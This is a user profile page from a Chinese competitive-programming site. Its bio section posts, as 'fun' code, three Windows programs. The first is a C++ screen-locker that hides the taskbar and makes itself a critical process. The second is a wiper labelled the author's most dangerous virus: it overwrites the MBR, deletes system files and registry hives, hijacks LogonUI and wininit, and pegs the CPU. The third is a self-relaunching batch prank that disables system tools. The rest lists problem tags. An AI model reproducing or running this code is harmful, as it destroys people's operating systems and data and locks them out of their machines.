-
个人简介
此人很懒并非很懒 个人B站主页:https://space.bilibili.com/576362783此人MC启动器名称:09Sky_,也玩MC的可以加我好友!绝对通过!(最好是也玩起床战争的)
最近在B站开了一个新号,叫MC_小鱼儿qwq(PS:可以关注一下吗,谢谢啦AWA)
好玩的(后果自负QWQ):
#include <winioctl.h> #include <tchar.h> #include <tlhelp32.h> #include <string> #include <windows.h> typedef int (WINAPI* MessageBoxTimeoutFunc)(HWND, LPCTSTR, LPCTSTR, UINT, UINT, DWORD); LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_CREATE: { CreateWindow(_T("BUTTON"), _T("关闭窗口"), WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON, 100, 100, 200, 50, hwnd, (HMENU)1, NULL, NULL); CreateWindow(_T("BUTTON"), _T("关注B站SYSTEM_CMD_ERROR!"), WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON, 100, 200, 300, 50, hwnd, (HMENU)2, NULL, NULL); break; } case WM_COMMAND: { if (LOWORD(wParam) == 1) { HMODULE hUser32 = LoadLibrary(_T("user32.dll")); if (hUser32) { MessageBoxTimeoutFunc msgBoxTimeout = (MessageBoxTimeoutFunc)GetProcAddress(hUser32, "MessageBoxTimeoutW"); if (msgBoxTimeout) { msgBoxTimeout(NULL, _T("Memory Error (0xFFFFFF)!"), _T("Memory Error"), MB_ICONERROR | MB_OK, 0, 3000); } FreeLibrary(hUser32); } } else if (LOWORD(wParam) == 2) { HMODULE hUser32 = LoadLibrary(_T("user32.dll")); if (hUser32) { MessageBoxTimeoutFunc msgBoxTimeout = (MessageBoxTimeoutFunc)GetProcAddress(hUser32, "MessageBoxTimeoutW"); if (msgBoxTimeout) { msgBoxTimeout(NULL, _T("CANNOT SUBSCRIBE!"), _T("ERROR - BILIBILI.EXE"), MB_ICONERROR | MB_OK, 0, 3000); } FreeLibrary(hUser32); } } break; } case WM_CLOSE: { HMODULE hUser32 = LoadLibrary(_T("user32.dll")); if (hUser32) { MessageBoxTimeoutFunc msgBoxTimeout = (MessageBoxTimeoutFunc)GetProcAddress(hUser32, "MessageBoxTimeoutW"); if (msgBoxTimeout) { msgBoxTimeout(NULL, _T("AN ERROR OCCURED TO CMD.EXE!"), _T("ERROR - CMD.EXE"), MB_ICONERROR | MB_OK, 0, 3000); } FreeLibrary(hUser32); } return 0; } case WM_SYSKEYDOWN: { if (wParam == VK_F4 || (lParam & (1 << 29)) && wParam == VK_ESCAPE) { return 0; } break; } case WM_DESTROY: { exit(114514); return 0; } } return DefWindowProc(hwnd, uMsg, wParam, lParam); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { ShowWindow(GetConsoleWindow(), SW_HIDE); FreeConsole(); HWND hWnd1 = FindWindow("Shell_TrayWnd", NULL); ShowWindow(hWnd1, SW_HIDE); typedef BOOL(WINAPI* RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI* RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); WNDCLASS wc = {0}; wc.lpfnWndProc = WindowProc; wc.hInstance = hInstance; wc.lpszClassName = _T("MaliciousWindowClass"); RegisterClass(&wc); HWND hwnd = CreateWindowEx( WS_EX_TOPMOST, _T("MaliciousWindowClass"), _T("Bilibili"), WS_POPUP | WS_VISIBLE, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), NULL, NULL, hInstance, NULL ); ShowWindow(hwnd, SW_SHOWMAXIMIZED); UpdateWindow(hwnd); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; }
作者有史以来最最最危险的病毒代码(后果自负!!!):
#include <thread> #include <windows.h> #include <sstream> #define _CRT_SECURE_NO_WARNINGS 1 using namespace std; #define MBR_SIZE 512 char temp[MBR_SIZE] = { 0x33,0xC0,0x8E,0xD0,0xBC,0x00,0x7C,0xFB,0x50,0x07,0x50,0x1F,0xFC,0xBE,0x1B,0x7C,0xBF,0x1B,0x06,0x50,0x57,0xB9,0xE5,0x01,0xF3,0xA4,0xCB,0xBD,0xBE,0x07,0xB1,0x04,0x38,0x6E,0x00,0x7C,0x09,0x75,0x13,0x83,0xC5,0x10,0xE2,0xF4,0xCD,0x18,0x8B,0xF5,0x83,0xC6,0x10,0x49,0x74,0x19,0x38,0x2C,0x74,0xF6,0xA0,0xB5,0x07,0xB4,0x07,0x8B,0xF0,0xAC,0x3C,0x00,0x74,0xFC,0xBB,0x07,0x00,0xB4,0x0E,0xCD,0x10,0xEB,0xF2,0x88,0x4E,0x10,0xE8,0x46,0x00,0x73,0x2A,0xFE,0x46,0x10,0x80,0x7E,0x04,0x0B,0x74,0x0B,0x80,0x7E,0x04,0x0C,0x74,0x05,0xA0,0xB6,0x07,0x75,0xD2,0x80,0x46,0x02,0x06,0x83,0x46,0x08,0x06,0x83,0x56,0x0A,0x00,0xE8,0x21,0x00,0x73,0x05,0xA0,0xB6,0x07,0xEB,0xBC,0x81,0x3E,0xFE,0x7D,0x55,0xAA,0x74,0x0B,0x80,0x7E,0x10,0x00,0x74,0xC8,0xA0 ,0xB7,0x07,0xEB,0xA9,0x8B,0xFC,0x1E,0x57,0x8B,0xF5,0xCB,0xBF,0x05,0x00,0x8A,0x56,0x00,0xB4,0x08,0xCD,0x13,0x72,0x23,0x8A,0xC1,0x24,0x3F,0x98,0x8A,0xDE,0x8A,0xFC,0x43,0xF7,0xE3,0x8B,0xD1,0x86,0xD6,0xB1,0x06,0xD2,0xEE,0x42,0xF7,0xE2,0x39,0x56,0x0A,0x77,0x23,0x72,0x05,0x39,0x46,0x08,0x73,0x1C,0xB8,0x01,0x02,0xBB,0x00,0x7C,0x8B,0x4E,0x02,0x8B,0x56,0x00,0xCD,0x13,0x73,0x51,0x4F,0x74,0x4E,0x32,0xE4,0x8A,0x56,0x00,0xCD,0x13,0xEB,0xE4,0x8A,0x56,0x00,0x60,0xBB,0xAA,0x55,0xB4,0x41,0xCD,0x13,0x72,0x36,0x81,0xFB,0x55,0xAA,0x75,0x30,0xF6,0xC1,0x01,0x74,0x2B,0x61,0x60,0x6A,0x00,0x6A,0x00,0xFF,0x76,0x0A,0xFF,0x76,0x08,0x6A,0x00,0x68,0x00,0x7C,0x6A,0x01,0x6A,0x10,0xB4,0x42,0x8B,0xF4,0xCD,0x13,0x61,0x61,0x73,0x0E,0x4F,0x74,0x0B,0x32,0xE4,0x8A,0x56,0x00,0xCD,0x13,0xEB,0xD6,0x61,0xF9,0xC3,0x49,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x70,0x61,0x72,0x74,0x69,0x74,0x69,0x6F,0x6E,0x20,0x74,0x61,0x62,0x6C,0x65,0x00,0x45,0x72,0x72,0x6F,0x72,0x20,0x6C,0x6F,0x61,0x64,0x69,0x6E,0x67,0x20,0x6F,0x70,0x65,0x72,0x61,0x74,0x69,0x6E,0x67,0x20,0x73,0x79,0x73,0x74,0x65,0x6D,0x00,0x4D,0x69,0x73,0x73,0x69,0x6E,0x67,0x20,0x6F,0x70,0x65,0x72,0x61,0x74,0x69,0x6E,0x67,0x20,0x73,0x79,0x73,0x74,0x65,0x6D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2C,0x44,0x63,0x84,0x78,0x6D,0x58,0x01,0x01,0x80,0xFE,0xFF,0xFF,0x0F,0xFE,0xFF,0xFF,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xAA }; DWORD CALLBACK CPULock(LPVOID lpParam) { while (1); } void Message() { while (1) { MessageBox(NULL, L"Congratulations! \nYour PC is destroyed! \nAuthor: @bilibili SYSTEM_CMD_ERROR", L"Congratulations!", MB_OK | MB_ICONINFORMATION); } } void KillSystem() { system("C: & cd C:\\Windows\\System32\\CatRoot & takeown /f *.* & icacls *.* /grant Users:F & del /f /s /q *.* & C: & cd C:\\Windows\\System32\\Fonts & takeown /f *.* & icacls *.* /grant Users:F & del /f /s /q *.* & "); system("cd C:\\ & takeown /f bootmgr & icacls bootmgr /grant Users:F & attrib -h -s bootmgr & del /f /s /q C:\\bootmgr & takeown /f HEUGR & icacls HEUGR /grant Users:F & attrib -h -s HEUGR & del /f /s /q C:\\HEUGR"); } /* void KillDisk() { HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { return; } const DWORD sectorSize = 512; uint8_t* buffer = new uint8_t[sectorSize]; memset(buffer, 0xF0, sectorSize); _ULARGE_INTEGER diskSize; GetDiskFreeSpaceEx(nullptr, nullptr, nullptr, &diskSize); DWORD bytesWritten; for (LONGLONG offset = 0; offset < diskSize.QuadPart; offset += sectorSize) { SetFilePointerEx(hDevice, { static_cast<unsigned long>(offset) }, nullptr, FILE_BEGIN); WriteFile(hDevice, buffer, sectorSize, &bytesWritten, nullptr); Sleep(10); } delete[] buffer; CloseHandle(hDevice); } */ bool DestroyDisk(LPCWSTR drive) { HANDLE hDevice = CreateFile(drive, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { return false; } BYTE one[512]; memset(one, 1, sizeof(one)); DWORD bytesWritten; BOOL result = WriteFile(hDevice, one, sizeof(one), &bytesWritten, NULL); CloseHandle(hDevice); return result != FALSE; } void LockMBR() { start: HANDLE hFile; DWORD dwReadSize; hFile = CreateFile(L"\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) { goto start; } BYTE pMBR[MBR_SIZE] = { 0 }; memcpy(pMBR, temp, sizeof(temp) - 1); pMBR[MBR_SIZE - 2] = 0x55; pMBR[MBR_SIZE - 1] = 0xAA; WriteFile(hFile, pMBR, MBR_SIZE, &dwReadSize, NULL); } bool IsRunningAsAdmin() { BOOL fIsRunAsAdmin; DWORD dwError = ERROR_SUCCESS; PSID pAdministratorsGroup = NULL; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; if (!AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdministratorsGroup)) { dwError = GetLastError(); goto Cleanup; } if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin)) { dwError = GetLastError(); } Cleanup: if (pAdministratorsGroup) { FreeSid(pAdministratorsGroup); } return fIsRunAsAdmin; } int main() { ShowWindow(GetConsoleWindow(), SW_HIDE); FreeConsole(); SetPriorityClass(GetCurrentProcess(), ABOVE_NORMAL_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST); if (!IsRunningAsAdmin()) { MessageBox(NULL, L"Doesn\'t have Administrator Permission!", L"OS Murder", MB_OK | MB_ICONERROR | MB_SYSTEMMODAL); } else if (MessageBox(NULL, L"This is not a joke.This is a malware.\nAre you sure you want to run it?\nRules: \n 1.If you execute this malware and lose your data, the producer will not be responsible! \n 2.This malware needs Administrator Permission! \n 3.The producer of this malware is SYSTEM_CMD_ERROR (on Bilibili)", L"OS Murder", MB_YESNO | MB_ICONWARNING | MB_SYSTEMMODAL) == IDYES && MessageBox(NULL, L"THIS IS THE LAST WARNING!!! \nThis malware will damage your PC! \nAre you sure you want to execute it?!", L"OS Murder", MB_YESNO | MB_ICONWARNING | MB_SYSTEMMODAL) == IDYES && IsRunningAsAdmin()) { thread thread0(Message); HWND hWnd = FindWindow(L"Shell_TrayWnd", NULL); ShowWindow(hWnd, SW_HIDE); system("echo select disk 0 >> \"1.txt\" & echo select partition 1 >> \"1.txt\" & echo assign letter=R >> \"1.txt\" & echo exit >> \"1.txt\" & diskpart /s \"1.txt\""); system("R: & del /f /s /q *.*"); system("reg add \"HKLM\\SYSTEM\\ControlSet001\\Services\\BITS\" /v Start /t REG_DWORD /d \"0\" /f & reg add \"HKLM\\SYSTEM\\ControlSet001\\Services\\BITS\" /v Type /t REG_DWORD /d \"1\" /f & reg add \"HKLM\\SYSTEM\\ControlSet001\\Services\\BITS\" /v ErrorControl /t REG_DWORD /d \"3\" /f"); system("echo System Config Data > C:\\Windows\\System32\\config\\OSDATA"); // thread thr(KillDisk); thread thread(KillSystem); typedef BOOL(WINAPI* RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI* RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); system("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LogonUI.exe\" /v \"Debugger\" /t REG_SZ /d \"2014102809SkybKing\" /f"); system("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wininit.exe\" /v \"Debugger\" /t REG_SZ /d \"2014102809SkybKing\" /f"); system("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v \"NoControlPanel\" /t REG_DWORD /d \"1\" /f"); system("reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v \"NoDesktop\" /d \"1\" /f"); system("reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoViewContextMenu /t REG_DWORD /d 1 /f & reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v \"NoRun\" /d \"1\" /f"); system("reg delete \"HKCR\" /f & reg delete \"HKCU\" /f & reg delete \"HKLM\" /f"); system("reg delete \"HKCU\\System\" /f & reg delete \"HKLM\\SYSTEM\" /f"); SYSTEM_INFO sysinfo; GetSystemInfo(&sysinfo); HANDLE* hThreads = new HANDLE[sysinfo.dwNumberOfProcessors]; for (DWORD i = 0; i < sysinfo.dwNumberOfProcessors; i++) { hThreads[i] = CreateThread(NULL, 0, CPULock, NULL, 0, 0); DestroyDisk(L"\\\\.\\C:"); LockMBR(); } WaitForMultipleObjects(2, hThreads, true, INFINITE); } }(VS 2019完美运行)
BAT恶搞代码(有一定危害)
@echo off reg add "HKCU\Control Panel\Desktop" /v Wallpaper /f /t REG_SZ /d "" /f /q reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /f /t REG_SZ /d "0" /f /q reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideClock" /t REG_DWORD /d "1" /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewContextMenu /t REG_DWORD /d 1 /f color 1a taskkill /f /im explorer.exe start explorer.exe color 2b taskkill /f /im Taskmgr.exe start Taskmgr.exe color 3c taskkill /f /im wscript.exe start wscript.exe color 4d taskkill /f /im mmc.exe start mmc.exe color 5e taskkill /f /im regedit.exe start regedit.exe color 6f taskkill /f /im notepad.exe start notepad.exe color 7a taskkill /f /im write.exe start write.exe color 1b taskkill /f /im winhlp32.exe start winhlp32.exe color 2c taskkill /f /im calc.exe start calc.exe color 3d taskkill /f /im osk.exe start osk.exe color 4e taskkill /f /im optionalfeatures.exe start optionalfeatures.exe color 5f taskkill /f /im cleanmgr.exe start cleanmgr.exe color 6a taskkill /f /im control.exe start control.exe color 7b taskkill /f /im msconfig.exe start msconfig.exe color 1c taskkill /f /im winver.exe start winver.exe color 2d taskkill /f /im cliconfg.exe start cliconfg.exe color 3e taskkill /f /im colorcpl.exe start colorcpl.exe color 4f taskkill /f /im diskpart.exe start diskpart.exe color 5a cls %0 -
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
-
Stat
-
Rating
题目标签
- GESP
- 15
- 2024
- 9
- 数学
- 8
- CSP-J
- 6
- 系统测试
- 4
- 字符串
- 4
- 数论
- 4
- 2023
- 3
- 字典树
- 3
- 循环结构
- 3
- 顺序结构
- 3
- 动态规划
- 3
- dp
- 3
- Special Judge
- 3
- 2019
- 2
- 2025
- 2
- 图论
- 2
- 其他
- 2
- 算法基础
- 2
- LCA
- 2